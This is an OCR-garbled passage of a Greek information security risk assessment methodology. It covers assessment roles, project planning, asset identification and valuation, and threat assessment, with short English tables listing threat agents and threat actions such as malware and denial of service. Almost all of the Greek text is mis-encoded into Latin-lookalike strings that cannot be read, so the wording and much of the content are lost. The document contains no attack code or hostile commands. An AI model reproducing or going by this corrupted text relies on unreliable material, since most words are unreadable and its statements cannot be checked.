KIVOUVOL Ge £vav OpPYOVIGUO €YEL M EMTPOTN AELTOVPYIKOD KvdOvov, BAcm g

EYKEKPIUEVIC amd TNV S10IKNoN OTPATNYIKNG TOL OpYavVIGHoL. Tnv emomrteion ™G

aloA0YNoNG KIVOUVOV  OCQAAELNG TANPOPOPI®OY £xel 0 VIEVOBUVOG AGPAAELNG
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TANpoeopudV Tov opyavicpov. I'ia v vAomoinon g pebodoroyiag agloldynong
KWVOHVOV 00QAAELNG TTANPOPOPLADV, Ol KUPLOTEPOL POAOL TOL GLVOVTAOVTOL EIVL:
YnevOvvog Acoarerog IIAnpogoprov: Eivor o vrebBuvoc yoo v emonteio ko
EKTELEOT] TOV OlEPYUSIOV AEOAOYNONG KIVOOVOV 00QAAELng TANpogopldv. "Eyet
eMiONG TOV GUVTIOVIOTIKO POAO HETOED NG TANPOQOPIKNG KOl TAOV  OPUOSIOV
EMYEPNOIKOV LoVAd®V. O velBuvog acPAAELNG TAPOPOPIDV EYEL TN YVAGCT OGTE
Vo TTPOTEIVEL TIC KOTAAANAES OKAEIdEG aoPaAEiag oyeTkd pe OEpato acQAAELg
TANPOPOPLOV.

Idwoktytg [Minpogoprdv 11 Kivovvev: ‘Exet v €vbivn yio m devépyela Kot
0pYavmor aSloAOYNGE®V KIVOUVOV OGQAAEING TANPOPOPUDY, GE GLVEPYOGIN [LE TOV
vrevbuvo acpareiog mAnpopopudv. Emiong emPrénetl v mpdodo vAiomoinong tmv
pétpmv mov Ba emMAEYOUV Kol EVIHEPAOVEL TOV VIELOVVO AGPAAELNG TAPOPOPLDV.
EmimAéov &xer v €vB0VN yio TV omd@aom TG amdKPIoNS GTOVG KIvOHVOLS Kot Eivat o
vtevbovvog o omoiog Ba AdPel v €ykpion g S10ikNoNG TOV OPYOAVIGUOD Yo TNV
avAANYM TOV TUYOV KIVOUVOV €6V deV KOAVPOOUV ETAPKAOG Ol ATULTIGELS ACPAAETiNC.
Ou «ivduvor mov Ba mpokdyovv amd T Swdkacio agloldynong v Kwovvev
OCQAAELOG TTANPOPOPLOV OVATIOEVTOL GTOVG 1O10KTITES KIVOUVMDV.

Ynootnpwkti)g ‘Epyov: 'Exet v gvb0vn yia v évapén evdg épyov a&loAdynong
KWWOOVOV aGPAAELNG TANPOQOPLOYV. X KAOe €pyo evo€yetal vo EUTAEKOVTOL KOTA
mepinton 1 O10{knomn TOL OPYOVICHOV, 1M EMITPOMN AEITOVPYIKOV KIVOOHV®V, O
VteLBLVOG aGPaAEinG TANPOPOPIDOY N Ol WO10KTNTEG TANpOoPopldv. Emiong éxet v
evfbvn yo v emokdémoN Kol TV EYKplon g Abong mov Oa emdeyel Y v
ektéleon G aSloAdYNoNS KIVOLVAOV AGPAAEING TANPOPOPIDV, KOOGS Emiong Kot yio
TNV OTOd0YN TMV OMOTEAECUATMOV KOl TNV VLAOTOINGT TMV EVEPYEIWDV Yol TNV
QVTILETOTIOT TOV KIVOOVOV (I010KTHTNG KIVOOVWDV).

Opada AoroyMoemc: amotedeitan amd oTEAEY TNG OCPAAELNS TAPOPOPIDV 1 TOV
1010 Tov VTEVBUVVO ACPAAELNG TAPOPOPILDY, TOVG OIOKTHTEG TANPOPOPLOY KOl TMV
LOVAd®V OV UTAEKOVTOL 6TV A&lOAOYN G, Ol OTTO10L E TV YVOGCT Kol TNV EUTELPia
TOUG OTO OVTIKEIUEVO TOVL EAEYYETOL UTMOPOLV VO, TPOCIOPIcOVYV TOLG TOUVOVS
KWvOOVOLG aoPUAEING TANPOPOPIDY TOL TOUENS TOVG Kol Vo Tovg agloAoyncsouvv. Ot

OPLOSOTNTEG TV HEAMV TNG Opdoag Tov Ba dnuovpynOei, £xovv oyéon e capeig Ko
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oYETIKES mopePPacels, mote va agtoloynfobv ot mbavol kivduvol Kot ol GYeTIKEG

dudeldeg acpareiag, pe okomd va avomtuyfovy ot mbavég avaykaies amokpicels 6Tovg

KIvOOVOLG Kol T0L TAAVOL OpAGEMG.

2.3 Emokoénnon g pedodoroyiog

H peBodoroyio aflohdynong kKvduvev ac@OAEg TANPOPOPIDV OmOTEAEITOL OITO

dlepyacies, TpoKTIKES Kot epyareio ta omoio Oa Tpooodlopicovy Tov EAeyy0, T dwoyeipion

Kot TV 0EloAdYMo TV KIVOUVOV AGQOAEINS TANPOPOPLOV Kol £(OVV GYEONCTEL e

oKOTO va, TapEyouv TV avaykoio fonfela oty opdoa aEloAoyNcewy, OGTE va. ivol 6

0éom va vAomomoet pia aEloAdYNoT KIVOOUVOV 0CPOAEING.

270 MOPUKATE SIEYPOLLLLO OTOTVMVOVTOL TO. GTAdLN TG pHeBodoroyiag aloAoyncemv

KvOUV®V aGQIAELOG TANPOPOPIDV:

2.3.1 Xraoio 1: ‘Evapén wou Ilpoypauuatiouos

Ewova 5: Ztédia g pebodoroyiag

4. Avalvon 91:1)(31!)1"1111“(0’)\! smmc’me,oov 5. Tpoodopiopss Kivdovou
1."Evapen ko 4.1 TIpocdiopiopdg XPTIHOTOOKOVOLK DY 5.1 Agordynon Kwvdovou kat
— . ENLYELPNOLOKDV ETTTOCEDV AwBdduuon
TPOYPONRATIGNOG 4.2 TIpoodiop1opdg Mn-ypm LoTo OtKOVO LK OV 5.2 A . .
, h .2 Avapetonion Kwvdovovo
ENLYELPNOLOKDV ETTTOCEDV 5.3 Suotéosic Auheidov
Aocpoheiog
2. Avayvépion ko 3. AGoroynon ameth®dv Kot Evmad gLV
EKTIUN OGN TTO POV 3.1 A&oldynon amethdv 6. Yropoh) Ex0écemv kon
2.1 Avayvdpion 1o pov 3.2 A&Goldynon evrabeidv olokMipwon A&ohdyneng
2.2 Extipnon nopwv 3.3 KaBopiopd g mbavom g
7. Zoveyic MapaxorovOnon
Kivdtvov kau Yroforiy [«
"Exfgong

[lpwv amd plo onuovtik oAloyn OTIG €YKOTOOTAGELS, G AETOvPYieg 1 o€ KAmolo

TEXVOLOYIKT oAy Kpivetar avaykaio vo vAomoteitor a&loddynon kwvdbvav. Emiong
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amorteitor vo vAomomOel HETE o KAMTO0 GNUOVTIKO TEPIOTATIKO acQOAElog 1 oF
TEPUTTAOCELG TOV TPOKVTEL KATO10G VEOS ONUAVTIKOG KIVOUVOG 1] AKOLLL KO G€ KAotaL Ve
KavovioTikn amaiton. EmumAéov Ba mpémet vo vdpyel 6Tov opyoviopd KOmolo TAGVO
TEPLOOTKNG aELOAOGYNONG KIVOUVOV Y10, TIG KPIGIESG AEITOVPYIES TOV.

o v avdykn vAiomoinong piog agoAdynong Kvdbvav ewdomoleitor o vrevduvog
AGPOAELNG TANPOPOPLOV OO TOV LITELOVVO EVOC TUNUOTOG, HiOG EYKOTAGTOONG 1 EVOG
épyov. O vmedBuvog 0oPOAEING TANPOPOPLDY UTOPEL EMIONG VO EVEPYOTTOMNGEL TNV
viomoinon piog a&ordynong edv evitomotel pio mepoyn Kvovvov PEG® NG GLVEYOVG
TAPAKOAOVON OGNS TOV ATEIMDY ACPOAELOC.

H mpoetopacio kot 0 600TOg TPOYPaUUATIGHOS Hiag aloAdynong KvOUVmV aGOAAELNS
TANPOPOPLOV £lvar avarykaiog yio vor S1oc@aAlstel 0Tt Ba VAOTOMOEl e OmOTEAEGLOTIKO
0G0 Kol 0od0TIKO TPOTO.

Ormopdyovteg Tov ivar KpIoLot Yo TV OAOKANP®OT| VOGS £pYoV a&loAGYNoNG ACPAAELNS
TANPOPOPLAOV EIVOL O1 TOPOUKAT®:

o IleBopyeioa otig apyég Olayeipiong tov €pyov mn omoion Oo mpémer va
axolovBeiton og OAN T OBPKELD TOV, LE GTOXO TN UEIWON TOV KIVOOVOV Kot
TAPAAANAL TV 0DENCT TOV 0OPEADY

e EvBuypappion tov evolagepOlevov Hepmv, kabmg Kol TG d1oiknong He Tovg
61dY0VS OV EYovV Tebel, TO EVPOC, TO TPOHYPALLLO KOL TV EUTAOKT] TOVG

e AlEvKOAVVON NG EMKOWVAOVING, KOOMDC KOl EUTAOKN TOV EVOLUPEPOUEVOV
LEPOV LEG® GUVOAVTNCEMY EPYOUCIOV, OTMS Y10l TOPAOELYLLO Ol GLUVOVINGELS
TAPOKOAOVONGEMV TPOOIOV 1) Ol EVOPKTNPLEG GUVOVTNGELS

e Yyvemng kol KOTAAANAN eQoppoyn tov pebddwv kot tov epyaleiov mov
ypnoorotovvral yio T peBodoroyio a&loAdynong aceAAELG TANPOPOPLOV.

Ta Pjporo mov akolovBohvtor pEYPL TNV arodoyn Kot £YKPIoT TOL TAAVOL £PYOV HIOG
a&10AOYNOTG KIVOUVOV OCPAAELNG TANPOPOPLOV, AVOADOVTOL TOPOKATW:

IIpocdwopiopds g kOprog opddag allordoynong: Aviroya pe to péyebog Kot tnv
TOATAOKOTNTO EVOG £pYOV AEIOAOYNOTG KIVOUV®V AGPAAELNG AT poPoplav, KabopileTol
Kot 10 pEyehog g opadog agroadynong mov Ba dmuovpynOel. Ilapodio mwov o épyo Ba
cvvtovileton amd Tov LIELOVYVO AGPAAELNS TANPOPOPIDV 1) TOV IOIOKTITN TANPOPOPIDY,

gtvor avorykoio Vo GUUIETEXOVY GTNV OUAO0 KoL GTOLOL LE YVMOT) TOV OVTIKEWEVOD TTOL
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EAEYXETONL Ko TTPOEPYOVTOL KUPIG amd TIC OpUOSIES EMXEPNCIOKEG LOVAOES 1| TV
TANPOQOPIKT).
Empepaioon tov €0povg g alordynons Kivouveov ac@IieElos TApoQopLadV: O
EMKEPOANG NG Opddag a&loAdynong mov Ba oplotel Yoo pio agoAdynon Kvduvev
AGPAAELNG TANPOPOPLAOV EIVOL OVOLYKOIO VO GUVEPYOGTEL LLE TOV DITOGTNPIKTH TOL £PYOU,
He OKOTO TNV KOTOVONGN TV GTOX®MV, TOV £0POLE, TOV YPOVOSIOYPAUIOTOS KOl TOV
TOPAOOTEDY TOV £PYOV.
Opyavoon ntpocéyyiong dwyeipiong Tov £pyov kol TV devdetiosmv: Opiletan n
Stk Tikn doun| tov £pyov. Emiong opilovtat o mpdTuma 1) S1001KaGiEg OV ommoutovvToL
Y10 TNV VTOGTNPIEN TV JEPYACIDV SYEIPIONG TOL £PYOV, OGS EIVOL O TPOGHOPIGUOS
TOV PAGEMV, TOV EPYAGIOV KOL TOV PNUAT®V TOL OTOITOVVTOL Y10l EMITUYT OAOKATPOOT)
0V £pyov, Kobag eniong kot v oxeTilopevav pe awtd kvdbvav. Ot kbpleg evépyeteg
gtva:
o Ilpoypoppatiopds ™G KOTAAANANG OVILETOMONG TOV €E0pPTNOEDY, TOV
TEPLOPICUDV KOl TOV KIVOOV®V TOV £pYoV TTov Ba TpocdoptoTovy
o TIpocodiopiopdg TV GUUUETEYOVIMV TOV £PYOV 1| TOV EVOLUPEPOLEVOV LEPDV,
OTmG elval Yoo TOPASELYHO Ol OOKTNTEG TANPOPOPI®DY 1| Ol TPOUNOEVLTES
(ecoTEPIKA KO EEMTEPIKA LLEPT) TOL £PYOV AVTIGTOLYN)
e  KaBopiopodg v mydv dvtAnong TAnpopopiov
e [Ipogtoacia yuo T gpnon Tov epyareiov
o  KoaBopiopdg tov pebddmv emkotvaviog 0nmg ivat 1 EvopKTipLo. GLVAVTN O,
01 GLUVOVTNCELS TAPUKOAOVONONG TPOOSOL KOl 1] TEAKT] GLVAVTNON
o TIpocdiopiopdg TV SadIKAGIOV AvaPOopEas TV BEUATOV Kot TNG KAMUAK®OGNS
TOVG
e Ylomoinon mAGVOL TOL £pYOL HE TPOCOOPICUO TOV PACIKOV onueimv
avapopdg
e [Ipogtolpacio TV OTOITHGE®Y Y10 TY) GLALOYN TOV OVOYKOI®V 0E00UEVOV
o  KoabBopiopdsg tmv TapadoTémv Kot TV DVTOGTNPIKTIKOV 0PYXEI®V TOL amotTeiton
va tnpnOovv
Evquépoon Opddog a&oroynong kot évapén g alordynong: O emkeaAng g

OLLAO0G TOV £PYOV £YEL TNV €VBVVN SLOPYAVMOCNS TNG EVOPKTIPING CLVAVTNONG LE KOO
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™MV EVIUEPWOT] TNG OUAOOS Y10 TOVG GTOHYOVG TOL £PYOV, TV TPOGEYYIOT|, TO E0POG, TO
TPOYPOLLLLOL KOL TV EUTAOKN TOL KABE péEAOLG Tov £pyov. Etvan moAd onpoavtikd to péAn
™G OUAONS VO £XOVV KOTAVONGEL TO PAGIKA EpYOAELN, TIG POPLES KO TO. QOAAL EPYOCTOC
mov Ba ypnoyomomBovv yia To £pyo, mpv TV Evapér| TOL. TNV EVOPKTIPLO GUVAVTNON
GUULETEXOLV 1] Opdd0 OELOAOYNONG, O VIOGTNPIKTHG TOV £PYou Kot TuyOV GAAOL
EVOLPEPOLLEVOL EAV VTTAPYOLV.

Am0o0y1] KoL £YKPL61 TOL TAGVOL TOL £pyov: O VIOGTNPIKTAC TOV £PYOV TIPEMEL VO,

gykpivel kat va amodgydet To Thdvo Tov Epyov (Sign off).

2.3.2 2tadio 2: Avayvapion kal EKTiUNGH Topy

210 emdpevo otado Ba devepynbel  avayvdpion TV KPICIH®V JlEPYACIDY Kol TOV
TANPOPOPLOIKAOV TOP®V TOV 0pYaVIGHOL Tov Ba eviayBovv ot depyacio a&loAdynong
KIVOUV®V aGQAAELNG A POPOPLDV.

H emoym povo tov kpicipumv diepyociov givorl avaykaio va yiver kabdg dev kpiveton
mhvto amotelecpatikd vo devepynBel a&loddynon KwvdivVeV Y TO GUVOAO TMV
TANPOPOPLOKAOV TOPWV EVOS 0pYaVIGLOV. Baoikog mapdyovtag emhoyng Tav Slepyasidv
N mOpwv otovg omoiovg Ba devepynOel a&loAdymon KvoHvemv acEAAEINS TANPOPOPIADY,
gtvon n onuavtikotTo TOLG N 1 A&l TOVS Yo TOV OpYOVIGHO. OndTE KpiveTal GKOTIO VO
ponyNOel ) EKTIUNON TV TOP®V TOL OPYAVIGLOV.

Avtiototyo kpivetor okompo va wponyndel 1 GLAAOYY| SedOUEV®V Yot TO TPOPIA EVOC
Opov, 6nmg etvor Yo Tapdaderypa 1 Woktncio, 1 Swfaducn, n Asttovpyia, n KAipoko
dOpOCTNPLOTNT®YV, O EEQPTNGELS, OL TEYVIKEG TANPOPOPIES KOl Ol TANPOPOPIES AGPAAEINS.
Ta mopamdve otoryeion elvon yprolo otig ENOUEVEG QPACES TOL £PYOL LE OKOTO TNV
avoyvopion Kot aloAdynom mbavov onEIMDY, EDTUOELDV, ETYEPTCIIKADY ETTTOCEMYV,
KoBmg emioNg KO YL TOV TPOGOOPICUO TV KIVOOUVEOV Kol Tov BEATIGTOV TPOTOU
OVTILETMTIONG TOVG,

Bdaoetl tov mapamiveo ot Vo Kpioyleg evépyeleg anTng TG eaomng sivar 1 “avaryvopion
TOpV”’ Kou M “ektipmom mopwv’.

Me tov 6po “mAnpo@optakds mOpog” evdéyetar va opiletat ToAD peydlo 0pOg EPAPLLOYNG.

[ 10 oKomo aVTO o€ pia depyacio aEOAGYNONG KIVOUVAOV OCQPAAELNS TANPOPOPLAOV, OL
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TANPOPOPLOKOL TOPOL AVTITPOCMOTEVOVY OTOLOINTTOTE TANPOPOPLOKO oyaldd 1) chVOLO

TANPOPOPLOKAOV ayalfdv ToL VITOoTNPILoVV dlEPYAGIES TOL OPYAVIGHOD.

2.3.2.1 2raow 2.1: Avayvapion kou ektiuney mopwy
H opdoa a&oddymong apyikd 6o avoyvmpicel Toug TANPOPOPLIKoVg TOPOVS GE EVal
IKOVOTIOUTIKO EMIMEDO AEMTOUEPELOG, OO TV TAELPE TNG EMYEPNCIOKTG dlEpyasiog N
€VOG LELOVMUEVOL GLUGTNLOTOC, LE GKOTO TNV EKTIUNOT) TOV TOP®V OVTOV.
Avéroya pe to mhoicto o omoio exteAgiton E£APTATAL 1) OVAYVOPLON TOV TOP®V, OTMS
gtva:

e Néa M volotapevn vanpecio

e Néa 1 voprotduevn epappoyn, diktvo 1 cHoTHA

e Néa M verotdpevn VINPEGIN EEMTEPIKMOV GLVEPYATOV

e N£o M VPIETAPEVO GVOTNUA 1] EPOPLOYT| EEDTEPIKMY GLUVEPYATMOV
H opdida a&lohdynomg GuAAEYEL TaL OESOUEVEL TTOV £OVV GYEON LLE TIG JEPYOICIEG KO TOVG
TOPOLS e GKOTO VoL dlevePYNoeL TV aEloddynon Kvdvvav. [ va kdvel avayvopion
TOpwV, OlEVEPYEITOL GLAAOYT] OEOOUEVODV OO OLAPOPES TNYES., OMMOG Y10 TOPASELYLLOL
GYETIKEG GUVEVTEVEELC.
Edv 1 opdada a&oddynong axoAovbnoet pio tpocéyyiomn 1 onoia Bacileton oTig depyaoies,
TPEMEL VoL AVOADCEL TN SlEPYOCIO KOl GTI) CLVEYEW VO TNV OMTOGLVOECEL G AOYIKES
oLVICTMOEG aSloAoynoemg N mopwv. H cvAdoyn twv dedopévav yivetor Pdorm tov

napaxdro Hivaka 1.

A. Ovopa diepyosiog:

B. Ymno-depyaoia, evépyeieg Kot TAnpogopies:

C. Ymootpiktikoi mAnpopopiokoi wdpot:

Mn tgyvikéc TAnpoopies: Teyvikég manpogopiec:

Tinpogopraxég Iopog kar I'evikny Heprypaen Pon ITAnpogopradv (sicaywyr), enelepyaoia,
(Emyerpnoioxm Aettovpyia, diepyacio 1 evépyeia amobnkevon, petddoon)

TIOL LILOGTNPILETOL, GVOLLLL EPAPHOYNS,
YOPOKTNPIGTIKA TAPOPOPIOG)

EdYpog E@appoyig (Opurog, @uyatpuciy Etaupia, AWGVVOEGEIS/EEUPTIGEIS OO GALO,
Emyepnoioxn Movada, Tuquo, pepovopévo GUGTILOTO.
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dtopo)

Tomog IAnpogopruxod Iépov (TAnpogoproxd
SOOI, TANPOPOPIES OE EVTLTN HOPPTY)

TomoOeoia (Data Centre, computer room
TUAHaToG, Poevia og e£mTePIKO 1010KTNTO
YDPo, eo&evia og eEMTEPIKO EVOIKINLOHEVO
xHpo)

Idwkmoia [Iépov (Idokttng [TAnpopopidv,
Emyepnooxn Movada kan Kdpieg Enagpéq)

Mpoélrevon (aventuyévo Eviog opyaviclob,
avaBeon avorntuEe oe Tpopn0evTES,
EUTOPIKO TOKETO TTPOLNOEVTAOV,
TPOTOTOULEVO EUTOPIKO TOKETO
TpounBevtdv)

IIinpogopies mov
AmoOnkevovrav/Enelepydlovran (kpioyleg
EMYEPNOLOKES TTANPOPOPIES, NAEKTPOVIKE
TPOGTOTEVUEVES TAPOPOPIEG VYEINS, TVEVLLOTIKT
Wioknoia, dAkeg evaicOnteg TANPOPOpiES,
5€00LEVO TITTOTIKAOV KOPTAV, TPOCWOTTIKE
dedopévar)

Ynoompin Awyepicemg (ecotepucd and
OTEAEYT TOL OPYAVIGHOD, EVIOC OPYUVIGLOD
o6 eEMTEPIKOVG GLUVEPYATES, OTTOHOKPVGUEVT|
Voo THPIEN 06 eEMTEPIKOVG GUVEPYAITEG)

Awpadpuion I poeoprodv/ITAnpo@opraxov
Xootipartog (kpioies, svaicOnteg, Pn- Kpioyles)

MoTeoppa (vVio, middleware, Aertovpyrcd
obomo, Pdomn dedopévmv)

Hpoeik Xpnotaw (tpita pépn, TeAdrec,
Agrrovpyol, EmTtepikol cuvepydTes)

pooPacrpétnra (ecwtepucd, dpodcio-
Internet, anopopoopévn TpocPoon)

Pélrog as@aieiog (vmodoun aceaieiog,
VIOJOLY| SLayEPIcEMS, VITOdOLN SyEPicEMS
acQaAElog, Kavévag pOAOG)

Mivexoeg 1: Atoutoelg suALOYNG dedOUEVOV TPOQIA TOPp®V

Evépyeiec Ztadiov 2.1

e anto 10 6Tdo10 Oo TPEmEL vau devePynBovV 01 TOPUKATM EVEPYELES:

e H Opdda A&ohoynoemg apykd GLAAEYEL OEOOUEVA LE PACT TIG VOICTAUEVEG

TMYEG TOV SIEPYACIAOV KOl TOV TANPOPOPLIKAOV TOPM®V.

e EmmAiéov tov mpogik mOpov, Ba cLAAEXBOVV dedOpEVE HECH GTOYELUEVOV
GLUVEVTEVEEMV 1] GUVAVINGE®VY £PYACiag HE To PACIKA EVOLPEPOUEV LEPT
depyaciav 1 TAnpogoprakmdv Tépwv (Idtoktteg [TAnpopopidv 1/kon otehéym
[TAnpopopikng). Ola ta dedopéva mov Bo cvAieybovv, Bo mpémer va

KatoywpnBovv og pio pOpHO “EMOKOTNONG TV TPOPIA EVEPYNTIKOD” .

o X mepintwon a&loAoYoEmS VINPEGING 1) GLCTHLOTOC/ EPAPLOYNG EEDTEPIKOD
GLVEPYATY|, 01 TANpOoYopiec Tov Oa kKataypapovv ota Kpitpia ASiodoyncemg

Acopodeiog Oa mpémer var cuAleyBovv kot vo KataywpnBovv ce pio edpuo

“a&lohdynong eEmtepcol cuvepydtn’.
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e H &v AMyw epyacia mpémel va emavaAneOel yioo OAec Tig dlepyaciec, vmo-
dlepyacieg Kot TANPOPOPLOKOVS TOPOLS EVTOG TOV €VPOVE TNG UELOADYNONG
KIVOUVOV GQAAELNG TTANPOPOPLDV, OTIMG OTOLTEITOL.

[TBavég myég e veroTapeva dedopéva TOPWV, TO. 0Toi0, HTopovv va Bonbhicovy oty
OAOKANP®GT) TOL GTOSIOV PIopel Vo efvat KATO10 1] KA 00 ToL TOPOKATO:

o  DOopueg Aafoduicewg ITAnpogoprokadv [1dépwv

o Aloroynoelg Asttovpykadv Kivovvov

e BCP — BIA «picipuov diepyacidv Kot vo-0epyaciov

o Koatdroyog [TAinpogpopraxmv [Topwv

e Texunpiowon Enyeipnolokov Aepyocuov

e  Koatdroyog Idoktntav [Topwv

o  Kpumpia ASoroynoemg Acpaireiog ITAnpogopidv

2.3.2.2 Xraow 2.2: Extiunon Ilépwv

Epbdoov €xovv culheybel ot mAnpo@opieg yio T oYETIKY dEPYOSIo KOt TANPOPOPLOKOVS
TOPOoLG Kot £xovv dounOel e AOYIKEG GUVIGTAOGES OEIOAOYNCEMS, KAOE CLVICTMGO TTPEMEL
va extyunOei pe Paon to eminedo kpodmrag. H aio tov mdpov mpoxdmtetl omd 0
eminedo SwPfabpicemg e TANPoPopiag 1 TOL TANPOPOPLUKOD GUGTILATOS TTOV OPICTNKE
OTI EVEPYELES TOL XTadiov 2.1 ko KataAnyel o€ piol kKApoko 0EI0A0YGEDS GOLPMOVOL LE

tov Iivoko 2.

. . Xuvéon pe v
ATy a&loloynon Kivovveov?
Kpiowpog NAI
Mn Kpiowpog NAI/OXI

IMivaxog 2: ITivakag Anopdcswng Extyunoemng ITopov

H extipnon mg¢ a&lag tov wdépov o mpémel vo eivor GOUEOVY pHE pio avtioToym

“uebodoroyia dwfaduiong ITAnpopoproxmdv [Mopwv”. H ektipmon g a&iog tov mépov
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KaBopilet tekd edv 1 Opdodo AZlodoynoemg Ba cuveyicel pe ™ diepyacio a&loAdyNoNg

KIVOUVOV 0GQAAELNS TANPOPOPLADV Y10 EVAV TATPOPOPLOKO TOPO.

Evépyeiec Xradiov 2.2

e avtd 10 6TAd10 Ba TPEmEL Vo SevepynBoDV o1 TOPAKATM EVEPYELES:

e AopPdvovtoc vroyn to dedopéva. TOL GULAAEXOMKOV OTIC EVEPYELEC TOV
Yrodiov 2.1 kou katoyowpnOnkov otn QOpHo “EMOKOTNONG TOV TPOPIA
gvepyntikov”, kabopiletar n a&io Tov TANpoPopLaKoD TOHPOL

e Yyvoiveon Kot OpIGTIKOTOINGT TNG EKTIUNCEMS TG a&iog Tov TOPOL

e H epyoasio emavoropPdvetar yio OAeg T dlepyacieg, vmo-dlepyacies Ko
TANPOPOPLOKOVS TOPOLS €VTOG TOL €VPOLS NG aASlOAdYNONG KIVOLV®OV
AGPAAELNG TTATPOPOPUDV.

Amouteiton vo mopBet oxetikn) amdgacn ywo to ebv €xel extundel n aio Tov TOPOL WS
“kpioog” M “evaictnTog”. XTIC TEPUTAOCE OV aWTO 1oYLEL TOTE 1 dlepyasia
a&loAdynomng Kvdbvav ac@AAElag TANPoeoptdv cuveyiletatl Yoo owtdv Tov mopo. Edav
teld 1 a&io Tov TOpov kpel cav “un Kpiown”, tote Ba amontn el va amopaciotel dv
1 Otepyacio a5loAdynong Kvohvav ac@dAEtg TAnpopopidv ypetdletor vo cuveytotel. H
amOQacT VT AapUBAaveTol LEGM ETOYYEALOTIKNG KPIGEWG,.

210 téA0oG AopPaveton £yKpion omd TOV VIOGTNPIKT TOL £PYOV, TOV EMKEPUANG TNG
OMAdaC Kot TOV 1810KTH TN TANpopopidv (Sign off).

O vrevBuvog acPALeLNg TANPOPOPIDY UTOPEL VO LETAPAAEL TIC ATOPACELS TNG EKTIUNGOTG,
Baoldpevog 6N 01k TOL EMGKOTNON.

OvmtAnpogopieg Tov GLAAEYOMKOY Y10 EvaL TANPOPOPLOKO GOGTILLOL KoL KOTOYPAOTKAY GTY|
QOpLOL “EmMOKOTNONG TOV TPOPIA evepynTiKoL”, B Tpémel va dotnpnBolv yio yprion oe
EMOUEVEG PAGELS NG OlEPYTiag avoAHGEMS TV KVOUVOV ao@aAciog. Avtd amotelet
onUElo avaPopas Yot LEAAOVTIKEG EMUVOAYELS DOTE VO, AVTITPOCOTEVGEL OAAAYEG OTIV

OPYOVMTIKT OOUY|, OTIG OlEPYOCIES 1 TIG TEYVOLOYIEC.

2.3.3 2taoo 3: A&oioynon Areldav vou Evrrafesicyv
Me m dwdwacio a&loddynong ansdv kKot gumobedy, eAéyyetor n mbovotnta vo

TPOKVYOLV TEPICTATIKA OTO TO OTOI0L EVOEXETOL VO KIVOLVEYEL 1) EUMICTEVTIKOTNTO, 1)
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aKkepoUOTNTO 1 1) SLUDESIUOHTNTO TV TANPOPOPLDOY TOV 0pYaVIGHOY. Me Tov TANnpn €Aeyyo
TOV JOPOP®V GUVOLOCUOY TV OTEDV Kol ELTOOELDV OV £XOLV GYEOT UE Evav
TANPpoPoplokd mopo, N oudda aloddynong Ba etvon oe Béom va €yl pio capéotepn
KOTOVON G TG GLYVOTNTOG Kot EKOEGEMG (TOAVOTNTOG) GLYKEKPIUEVMV TEPIGTOTIKMV VO,
TIG EKUETOALEVTOVV OL AVTIOTOLYES TTNYES AMEDV.

o v aoAdymon tov aneidv Kol EVTOOELDY OToLTEITOL VO, VITOPYEL TO OVOLYKOO
TeYVIKO VIOPaBPo amd to oTEAEYM oV Bal EPTANKOVY (OUAS. OCPAAELNG TANPOPOPIDY,
opao TANPOQOPIKNG KAT.). Emiong amouteiton kou 1 ypnom o&omotov mnyov
TANPOPOPLADV.

2.3.3.1 Xraoo 3.1: A&oiéynon Ameiidv

To @dopo amethdv mov evogyeTol vo OGOV Og KIVOLVO TNV EUMIGTELTIKOTNTA,
aKePOLOTNTO. Ko OWBECOTNTA TOV TANPOPOPLOY TOL OPYOUVIGHOV, &fvon HeEYOAO.
Evdéyeton va mpokdyouy amelég amd akovolo avOpamva Aadn 1 duvoAettovpyieg Tmv
VIOGTNPIKTIKAOV VITOOOUMV 1) akOLLL KO GKOTLES EMOETELS amd kakdBovAiovg Tpitoug.
Etvor modd mbavo va unv givon mévto ekt 1 devépyela piog a&loldynong oe éva
GLGTNHO, 1] oTtoia Vo Aapavel vty OAeg Tig mbaveg amethéc. Evoéyeton o€ va unv givor
KO TPOKTIKY) G€ TOAAEG TEPUTTMGELS. 1100 TO 6KOTO 0WTO KpiveTal GKOTYO ard TV opyn
TOL £PYOL VO TPOGOLOPIOTEL AloTa amethdV 1) omtoia Oa ypnoyomomBel yio v a&loAdynon
TOV ONEMDVY, 1 onola Bo mpémel var etvan peaiotik|] kou dayepiown. H mapoyn evog
KOTOAOYOV OEIMDV TPOG TNV Opddo a&lohdynons, Oo SlELKOAUVEL TV OHAd GTNV
OVOYVAOPLGT] TOV KOPLOV OTEIMDY GE EVAV TANPOPOPLIKO TOPO.

Me oKomo ) devepyetla piog oepyaciog aSoAdyMong KvOOVmV AGOAAELNS TTAPOPOPIDY,
pio ameidn doywpileton o dVo Pacucd cToryeio:

Tov mapdyovta ameg (threat agent): apopd v Ty TG AmeMg

Tnv evépyeia aneting (threat action): agopd v Tpayuatiky evEpyela oV eKTeAEiTOn 0td
TNV amE.

[TBavég evépyeteg amelnc, avapépovtor evoelkTikd otov Tivaka 3.

[1pdoheteg myég mMANPOPOPNONG Y10 AMEIAES EIVOIL EVOEIKTIK(L O1 TOPAKATO:

o  Evnuepmoelg yuo aneilég ao@oieiog/oTpatnyikn TAnpoeopnon
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o Agdouéva mEPIGTATIKOV 0CPAAELNG
o TIpo@il Tov TOPOL

o  Teyvoroyikd, KOW®VIKO KOl OIKOVOULKO TEPIPAAAOV

Evépyeiec Xtadiov 3.1

e autd 10 6TAd10 Ba TPEMEL Vo devepyn B0V o1 TOPAKATM EVEPYELES:

e [Ipocd10pIGUAC TV TAPAYOVIMV KO EVEPYELDY ATEIAG YPNOILOTOIDOVTAG TOV
KOTAAOYO OMEILDV, OOV OVTO Elval €QIKTO, KOl KOTAYPOUPYT] TOLG TN QOO
“a&loAoynomng amellmv Kot evmadeimv”’

e H epyoasio emavaropfavetor yioo GAOVG TOVG VIOAOUTOVS TAPAYOVTEG KO

EVEPYELEG OTEIADV

Hoapdyovreg Amerig
(Threat Agent)
Internal

External

Environmental

Non-Specific

Mivaxag 3: Tapayovieg Aneidng (Threat Agent)

Evépyeieg Ameung
(Threat Action)
Loss of external communications or power supply

Hardware or equipment or media failure or malfunction

Intentional or accidental disclosure of confidential or regulated data

Malware (e.g. virus, logic bomb, Trojan horse)

Physical damage or destruction to facilities, hardware or equipment

Unauthorized access to network, system or documents

Theft or loss of hardware, equipment, or sensitive media or documents

Unauthorized tapping, interception, or alteration of network traffic

Undesirable impacts of change

Denial of Service

Mivaxaog 4: Evépyeieg Aneidng (Threat Action)
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2.3.3.2 Xraow 3.2: A&oioynon evmabeicy

H &epyacia aglohdynong svmabeiddv meprapPdéver v a&lohdynon tov emmédon Tmv
